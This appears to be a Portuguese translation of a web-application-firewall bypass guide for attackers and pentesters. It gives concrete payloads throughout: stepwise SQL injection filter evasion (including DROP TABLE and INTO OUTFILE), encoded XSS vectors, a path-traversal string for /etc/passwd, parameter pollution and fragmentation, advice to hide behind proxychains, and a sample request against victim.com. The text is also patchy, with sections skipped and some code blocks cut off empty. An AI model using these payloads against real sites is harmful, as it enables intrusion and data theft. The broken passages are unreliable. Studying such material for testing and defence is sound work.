Dica: Mais detalhes podem ser encontrados em um post de blog aqui.

Fuzzing/Brute Force:

Método:

Executar um conjunto de payloads contra a URL/endpoint. Algumas boas wordlists para fuzzing:

• Wordlists específicas para fuzzing
  • Seclists/Fuzzing.
  • Fuzz-DB/Attack
  • Outros Payloads

Técnica:

• Carregue sua wordlist no fuzzer e inicie o brute force.
• Registre/faça log de todas as respostas dos diferentes payloads testados.
• Use user-agents aleatórios, variando de Chrome Desktop a navegador iPhone.
• Se houver bloqueio, aumente a latência do fuzzing (ex.: 2-4 seg).
• Sempre use proxychains, já que é real a chance de seu IP ser bloqueado.

Desvantagens:

• Este método frequentemente falha.
• Muitas vezes seu IP será bloqueado (temporária/permanentemente).

Reversão de Regex:

Método:

• Método mais eficiente de contornar WAFs.
• Alguns WAFs dependem de corresponder os payloads de ataque com as assinaturas em seus bancos de dados.
• O payload corresponde à regex e o WAF dispara o alarme.

Técnicas:

Detecção/Bypass de Lista Negra

• Neste método, tentamos identificar as regras passo a passo, observando as palavras-chave que estão na lista negra.
• A ideia é adivinhar a regex e criar os próximos payloads que não usem as palavras-chave bloqueadas.

Caso: SQL Injection

• Passo 1:

Palavras-Chave Filtradas: and, or, union
Regex Provável: preg_match('/(and|or|union)/i', $id)

• Tentativa Bloqueada: union select user, password from users
• Injeção Contornada: 1 || (select user from users where user_id = 1) = 'admin'

• Passo 2:

Palavras-Chave Filtradas: and, or, union, where

• Tentativa Bloqueada: 1 || (select user from users where user_id = 1) = 'admin'
• Injeção Contornada: 1 || (select user from users limit 1) = 'admin'

• Passo 3:

Palavras-Chave Filtradas: and, or, union, where, limit

• Tentativa Bloqueada: 1 || (select user from users limit 1) = 'admin'
• Injeção Contornada: 1 || (select user from users group by user_id having user_id = 1) = 'admin'

• Passo 4:

Palavras-Chave Filtradas: and, or, union, where, limit, group by

• Tentativa Bloqueada: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
• Injeção Contornada: 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1

• Passo 5:

Palavras-Chave Filtradas: and, or, union, where, limit, group by, select

• Tentativa Bloqueada: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
• Injeção Contornada: 1 || 1 = 1 into outfile 'result.txt'
• Injeção Contornada: 1 || substr(user,1,1) = 'a'

• Passo 6:

Palavras-Chave Filtradas: and, or, union, where, limit, group by, select, '

• Tentativa Bloqueada: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
• Injeção Contornada: 1 || user_id is not null
• Injeção Contornada: 1 || substr(user,1,1) = 0x61
• Injeção Contornada: 1 || substr(user,1,1) = unhex(61)

• Passo 7:

Palavras-Chave Filtradas: and, or, union, where, limit, group by, select, ', hex

• Tentativa Bloqueada: 1 || substr(user,1,1) = unhex(61)
• Injeção Contornada: 1 || substr(user,1,1) = lower(conv(11,10,36))

• Passo 8:

Palavras-Chave Filtradas: and, or, union, where, limit, group by, select, ', hex, substr

• Tentativa Bloqueada: 1 || substr(user,1,1) = lower(conv(11,10,36))
• Injeção Contornada: 1 || lpad(user,7,1)

• Passo 9:

Palavras-Chave Filtradas: and, or, union, where, limit, group by, select, ', hex, substr, espaço em branco

• Tentativa Bloqueada: 1 || lpad(user,7,1)
• Injeção Contornada: 1%0b||%0blpad(user,7,1)

Ofuscação:

Método:

• Codificar payload em diferentes codificações (uma abordagem de tentativa e erro).
• Você pode codificar todo o payload, ou partes dele, e testar recursivamente.

Técnicas:

1. Alternância de Maiúsculas/Minúsculas

• Alguns WAFs mal desenvolvidos filtram seletivamente maiúsculas/minúsculas específicos.
• Podemos combinar caracteres maiúsculos e minúsculos para desenvolver payloads eficientes.

Padrão: <script>alert()</script>
Contornado: <ScRipT>alert()</sCRipT>

Padrão: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Contornado: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'

2. Codificação URL

• Codifique payloads normais com codificação %/codificação URL.
• Pode ser feito com ferramentas online como esta.
• Burp inclui um codificador/decodificador embutido.

Bloqueado: <svG/x=">"/oNloaD=confirm()//
Contornado: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F

Bloqueado: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
Contornado: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29

3. Normalização Unicode

• Caracteres ASCII em codificação unicode fornecem ótimas variantes para contornar.
• Você pode codificar todo/parte do payload para obter resultados.

Padrão: <marquee onstart=prompt()>
Ofuscado: <marquee onstart=\u0070r\u06f\u006dpt()>

Bloqueado: /?redir=http://google.com
Contornado: /?redir=http://google。com (Alternativa Unicode)

Bloqueado: <marquee loop=1 onfinish=alert()>x
Contornado: ＜marquee loop＝1 onfinish＝alert︵1)>x (Alternativa Unicode)

DICA: Dê uma olhada neste e neste relatórios no HackerOne. :)

Padrão: ../../etc/passwd
Ofuscado: %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd

4. Representação HTML

• Frequentemente, aplicações web codificam caracteres especiais em codificação HTML e os renderizam adequadamente.
• Isso nos leva a casos básicos de bypass com codificação HTML (numérica/genérica).

Padrão: ">
Codificado: "><img src=x onerror=confirm()> (Forma geral)
Codificado: "><img src=x onerror=confirm()> (Referência numérica)

5. Codificação Mista

• Às vezes, as regras do WAF tendem a filtrar um tipo específico de codificação.
• Esse tipo de filtro pode ser contornado com payloads de codificação mista.
• Tabulações e novas linhas aumentam ainda mais a ofuscação.

Ofuscado:``` XSS

13. Quebradores de Token

• Ataques a tokenizers tentam quebrar a lógica de dividir uma requisição em tokens com a ajuda de quebradores de token.

• Quebradores de token são símbolos que permitem afetar a correspondência entre um elemento de uma string e um certo token, e assim contornar a busca por assinatura.

• No entanto, a requisição ainda deve permanecer válida ao usar quebradores de token.

• Caso: Token Desconhecido para o Tokenizer

  • Payload: ?id=‘-sqlite_version() UNION SELECT password FROM users --

• Caso: Contexto Desconhecido para o Parser (Observe o colchete sem contexto)

  • Payload 1: ?id=123);DROP TABLE users --
  • Payload 2: ?id=1337) INTO OUTFILE ‘xxx’ --

DICA: Mais payloads podem ser criados através desta folha de dicas.

14. Ofuscação em Outros Formatos

• Muitas aplicações web suportam diferentes tipos de codificação e podem interpretar a codificação (veja abaixo).
• Ofuscar nosso payload para um formato não suportado pelo WAF, mas que o servidor pode interpretar, permite contrabandear nosso payload.

Caso: IIS

• IIS6, 7.5, 8 e 10 (ASPX v4.x) permitem interpretações de caracteres IBM037.
• Podemos codificar nosso payload e enviar os parâmetros codificados com a consulta.

Requisição Original:``` POST /sample.aspx?id1=something HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=utf-8 Content-Length: 41

id2='union all select * from users--

A tabela a seguir mostra o suporte de diferentes codificações de caracteres nos sistemas testados (quando as mensagens podem ser ofuscadas usando-as):

DICA: Você pode usar este pequeno script em Python para converter seus payloads e parâmetros para as codificações desejadas.

Poluição de Parâmetros HTTP (HTTP Parameter Pollution)

Método:

• Este método de ataque baseia-se em como um servidor interpreta parâmetros com o mesmo nome.
• Possíveis chances de bypass aqui são:
  • O servidor usa o último parâmetro recebido, e o WAF verifica apenas o primeiro.
  • O servidor une o valor de parâmetros semelhantes, e o WAF os verifica separadamente.

Técnica:

• A ideia é enumerar como os parâmetros estão sendo interpretados pelo servidor.
• Nesse caso, podemos passar o payload para um parâmetro que não está sendo inspecionado pelo WAF.
• Distribuir um payload por parâmetros que podem posteriormente ser concatenados pelo servidor também é útil.

Abaixo está uma comparação de diferentes servidores e suas interpretações relativas:

Fragmentação de Parâmetros HTTP (HTTP Parameter Fragmentation)

• HPF baseia-se no princípio de que o servidor une o valor passado pelos parâmetros.
• Podemos dividir o payload em diferentes componentes e, em seguida, passar os valores pelos parâmetros.

Exemplo de Payload: 1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS
Exemplo de URL de Consulta: http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS

DICA: Um exemplo da vida real de como os bypasses podem ser elaborados usando este método pode ser encontrado aqui.

Bugs de Navegador (Browser Bugs):

Bugs de Charset:

• Podemos tentar alterar o cabeçalho charset para um Unicode mais alto (ex.: UTF-32) e testar payloads.
• Quando o site decodifica a string, o payload é acionado.

Exemplo de requisição:

Quando o site carrega, ele será codificado para a codificação UTF-32 que definimos, e então, como a codificação de saída da página é UTF-8, será renderizado como: "<script>alert (1) </ script> que acionará XSS.

Payload final codificado para URL:``` %E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

Padrão: <a href="javascript:alert()">
Ofuscado: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>
Variante: <a 0x00 href="javascript:alert(1)">clickme</a>

Bugs de Parsing:

• A RFC determina que NodeNames não podem começar com espaços em branco.
• Mas podemos usar caracteres especiais como %, //, !, ?, etc.

Exemplos:

• <// style=x:expression\28write(1)\29> - Funciona até IE7 (Fonte)
• <!--[if]><script>alert(1)</script --> - Funciona até IE9 (Referência)
• <?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - Funciona no IE7 (Referência)
• <%div%20style=xss:expression(prompt(1))> - Funciona até IE7

Separadores Unicode:

• Cada navegador possui seu próprio conjunto específico de separadores.
• Podemos fazer fuzzing no intervalo de charset de 0x00 a 0xFF e obter o conjunto de separadores para cada navegador.
• Podemos usar esses separadores em lugares onde um espaço é necessário.

Aqui está uma lista compilada de separadores por @Masato Kinugawa:

• IExplorer: 0x09, 0x0B, 0x0C, 0x20, 0x3B
• Chrome: 0x09, 0x20, 0x28, 0x2C, 0x3B
• Safari: 0x2C, 0x3B
• FireFox: 0x09, 0x20, 0x28, 0x2C, 0x3B
• Opera: 0x09, 0x20, 0x2C, 0x3B
• Android: 0x09, 0x20, 0x28, 0x2C, 0x3B

Um exemplo de payload exótico:``` <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d

• Caso: SQLi``` SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null); 1%0b||%0bLPAD(USER,7,1)

Ferramentas de CLI como o cURL podem ser muito úteis para PoCs:``` curl --ciphers -G -d

Usando Strings de Lista de Permissões:

Método:

• Alguns desenvolvedores de WAF mantêm um segredo compartilhado com seus usuários/desenvolvedores que lhes permite passar consultas prejudiciais através do WAF.
• Esse segredo compartilhado, se vazado/conhecido, pode ser usado para contornar todas as proteções dentro do WAF.

Técnica:

• Usar a string de lista de permissões como parâmetro em requisições GET/POST/PUT/DELETE contrabandeia nosso payload através do WAF.
• Normalmente, algumas palavras-chave *-sync-request ou um valor de token compartilhado é usado como segredo.
• Frequentemente, adicionar cabeçalhos específicos pode desencadear um comportamento similar de lista de permissões.

Agora, ao fazer uma requisição ao servidor, você pode anexá-lo como um parâmetro:```